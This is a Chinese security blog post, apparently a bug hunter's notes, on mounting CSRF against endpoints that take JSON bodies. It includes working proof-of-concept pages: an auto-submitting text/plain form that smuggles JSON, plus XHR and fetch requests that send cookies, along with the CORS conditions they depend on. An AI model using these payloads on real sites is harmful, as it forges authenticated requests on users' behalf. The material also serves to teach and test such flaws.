zoukankan      html  css  js  c++  java
  • 碰到 Json_CSRF 怎么办?

    前言

    在最近挖洞的时候,老是碰到 POST 传参采用 JSON 格式,而不是传统的parameter=value的格式,之前也没接触过,所以也不知道该怎么搞,所以打算学习一下,此文作为一个笔记梳理。

    前提知识

    一般采用 Json 格式传输参数时,请求包中都有 Content-Type 头,一般服务器也会验证 Content-Type 值是否为 application/json,当服务器验证 Content-Type 时,若不符合要求,则会抛出异常,导致传输的数据失效

    当简单的采用表单传输简单参数时,Content-Type 值为:x-www-form-urlencoded,传输的数据会被 URL 编码,传输文件时值为:form-data
    给表单添加 enctype="text/plain" 属性时,Content-type 值为:text/plain

    在使用 XMLHttpRequest 跨域发起请求时,浏览器首先会先进行一次 OPTIONS 预请求,查看目标网站是否支持跨域,如果支持,则浏览器会进行下一步,发送真实请求,否则会直接报错

    突破限制的方法

    下面统一假设 POST 传输的参数为:{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}

    服务端不验证 Content-Type 的情况

    • 特殊的表单,即构造一个键值对
    <!DOCTYPE html>
    <html>
    <head>
    	<title>Json_CSRF</title>
    	<meta charset="utf-8">
    </head>
    <body>
    <form id="test" enctype="text/plain" action="http://baidu.com" method="post">
    	<input name='{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"' value='test"}'>
    </form>
    <script type="text/javascript">
    	document.getElementById("test").submit();
    </script>
    </body>
    </html>
    

    可以看到请求包中:

    传输的数据变成了:{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"=test"}
    且请求头中:Content-Type: text/plain,当服务器后端严格校验 Content-Type 头时,该方法也就差不多没用了

    • 利用 JS 中的 XMLHttpRequest,即 XHR,该方法要求目标网站支持跨域
    <!DOCTYPE html>
    <html>
    <head>
    	<title>Json_CSRF</title>
    	<meta charset="utf-8">
    </head>
    <body>
    <script type="text/javascript">
    	function csrf(){
    	      var xmlhttp = new XMLHttpRequest();
    	      xmlhttp.open("POST","https://baidu.com",true);
    	      xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
    	      xmlhttp.withCredentials = true;
    	      xmlhttp.send(JSON.stringify({"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}));;
    	}
    	csrf();
    </script>
    </body>
    </html>
    

    首先,浏览器会发起一个 OPTION 请求,查询目标网站是否支持跨域

    如果目标响应包中有 Access-Control-Allow-Credentials: true 代表允许携带 cookie
    Access-Control-Allow-Origin:http://mysite.com 或者为 Access-Control-Allow-Origin:*,即代表支持跨域
    浏览器便会携带 cookie 发起真实请求

    注意:实际上百度并不支持跨域,此处只是为了方便演示

    当目标网站不支持跨域,则浏览器将不会发起请求,导致该方法失效

    当然,除了 XMLHttpRequestfetch 也是一样的

    <script>
          function csrf(){
                fetch('https://baidu.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json;charset=UTF-8'}, body: '{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}'});
          }
          csrf();
    </script>
    

    服务端验证 Content-Type 的情况

    • XHR
      跟上面一样,也是利用 XMLHttpRequest
    • flash

    可惜,现在是个浏览器都会询问用户是否开启 flash,此举难以成功,而且不久,flash 就会被废弃

  • 相关阅读:
    【面积并】 Atlantis
    【动态前k大 贪心】 Gone Fishing
    【复杂枚举】 library
    【双端队列bfs 网格图建图】拯救大兵瑞恩
    【奇偶传递关系 边带权】 奇偶游戏
    【权值并查集】 supermarket
    CF w4d3 A. Pythagorean Theorem II
    CF w4d2 C. Purification
    CF w4d2 B. Road Construction
    CF w4d2 A. Cakeminator
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/13339342.html
Copyright © 2011-2022 走看看